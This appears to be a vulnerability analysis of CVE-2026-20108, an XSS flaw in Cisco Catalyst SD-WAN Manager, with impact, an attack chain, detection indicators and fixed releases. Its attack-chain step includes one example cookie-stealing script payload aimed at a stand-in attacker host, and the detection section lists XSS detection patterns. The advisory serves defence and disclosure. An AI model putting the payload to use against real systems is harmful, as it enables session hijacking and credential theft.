CVE-2026-20108: 
Cisco SD-WAN Catalyst Manager vulnerability analysis and mitigation

CVE-2026-20108 is a stored/reflected cross-site scripting (XSS) vulnerability in the web-based management interface of Cisco Catalyst SD-WAN Manager. It allows an authenticated, remote attacker to conduct XSS attacks against other users of the interface by exploiting insufficient input validation. The vulnerability affects Cisco Catalyst SD-WAN Manager across multiple releases in the 20.12, 20.13, 20.14, 20.15, 20.16, and 20.18 trains; releases 20.11 and earlier are not affected. It was first published on March 25, 2026, and carries a CVSS v3.1 base score of 5.4 (Medium) (Cisco Advisory).

The root cause is improper neutralization of user-supplied input during web page generation (CWE-79), where the SD-WAN Manager interface fails to adequately sanitize or encode attacker-controlled data before rendering it in the browser. Exploitation requires the attacker to be authenticated (low-privilege) and to socially engineer a target user into clicking a crafted link, making this a network-based, low-complexity attack with required user interaction. The vulnerability was discovered during Cisco's internal security testing, and no public proof-of-concept code has been disclosed (Cisco Advisory).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of the victim's browser session within the SD-WAN Manager interface, potentially enabling session token theft, credential harvesting, or unauthorized actions performed on behalf of the victim. The scope is changed (S:C), meaning the injected script can affect resources beyond the attacker's own session. Confidentiality and integrity impacts are both rated Low, with no direct availability impact; however, access to sensitive browser-based information such as session cookies or management credentials could facilitate further compromise of the SD-WAN infrastructure (Cisco Advisory).

As of the advisory publication date, Cisco PSIRT is not aware of any public announcements or malicious use of this vulnerability in the wild. No exploit code has been publicly released, and the vulnerability was identified through internal security testing rather than external researcher disclosure. The EPSS score is approximately 0.036% (0.000360), indicating a low probability of exploitation in the near term (Cisco Advisory, Feedly). It is not currently listed in the CISA Known Exploited Vulnerabilities catalog.

1. Reconnaissance: Identify a target organization running a vulnerable version of Cisco Catalyst SD-WAN Manager (releases 20.12 through 20.18 prior to fixed versions) with the web-based management interface accessible.
2. Obtain authenticated access: Acquire low-privilege credentials to the SD-WAN Manager interface, either through phishing, credential stuffing, or use of a compromised account.
3. Craft malicious link: Construct a URL or request targeting the vulnerable input parameter in the SD-WAN Manager web interface that embeds a malicious JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>).
4. Deliver the payload: Send the crafted link to a higher-privileged user of the SD-WAN Manager interface via email, chat, or another social engineering channel, persuading them to click it.
5. Achieve objective: When the victim clicks the link and the script executes in their browser session, the attacker can steal session tokens, capture credentials, or perform unauthorized management actions within the SD-WAN Manager interface on behalf of the victim (Cisco Advisory).

• Network: Unexpected outbound HTTP/HTTPS requests from administrator browsers to unknown external domains shortly after accessing the SD-WAN Manager interface; unusual GET/POST requests to SD-WAN Manager endpoints containing URL-encoded script tags or JavaScript event handlers.
• Logs: SD-WAN Manager access logs showing requests with suspicious query parameters containing encoded XSS payloads (e.g., %3Cscript%3E, javascript:, onerror=, onload=); authentication events from unexpected IP addresses following a potential session hijack.
• Browser/Session: Unexpected session activity or configuration changes in SD-WAN Manager attributed to a legitimate user account that the user did not perform, potentially indicating session token theft and reuse.

Cisco has released fixed software versions to address this vulnerability; there are no workarounds available. Administrators should upgrade to the following fixed releases based on their current train: 20.12 → 20.12.5.3 or 20.12.6.1; 20.15 → 20.15.4.2 or 20.15.5; 20.18 → 20.18.2.1. Releases 20.13, 20.14, and 20.16 have reached End of Software Maintenance and customers must migrate to a supported fixed release. Cisco strongly recommends restricting management interface access to trusted networks and enforcing multi-factor authentication to reduce the risk of credential compromise that could enable exploitation (Cisco Advisory).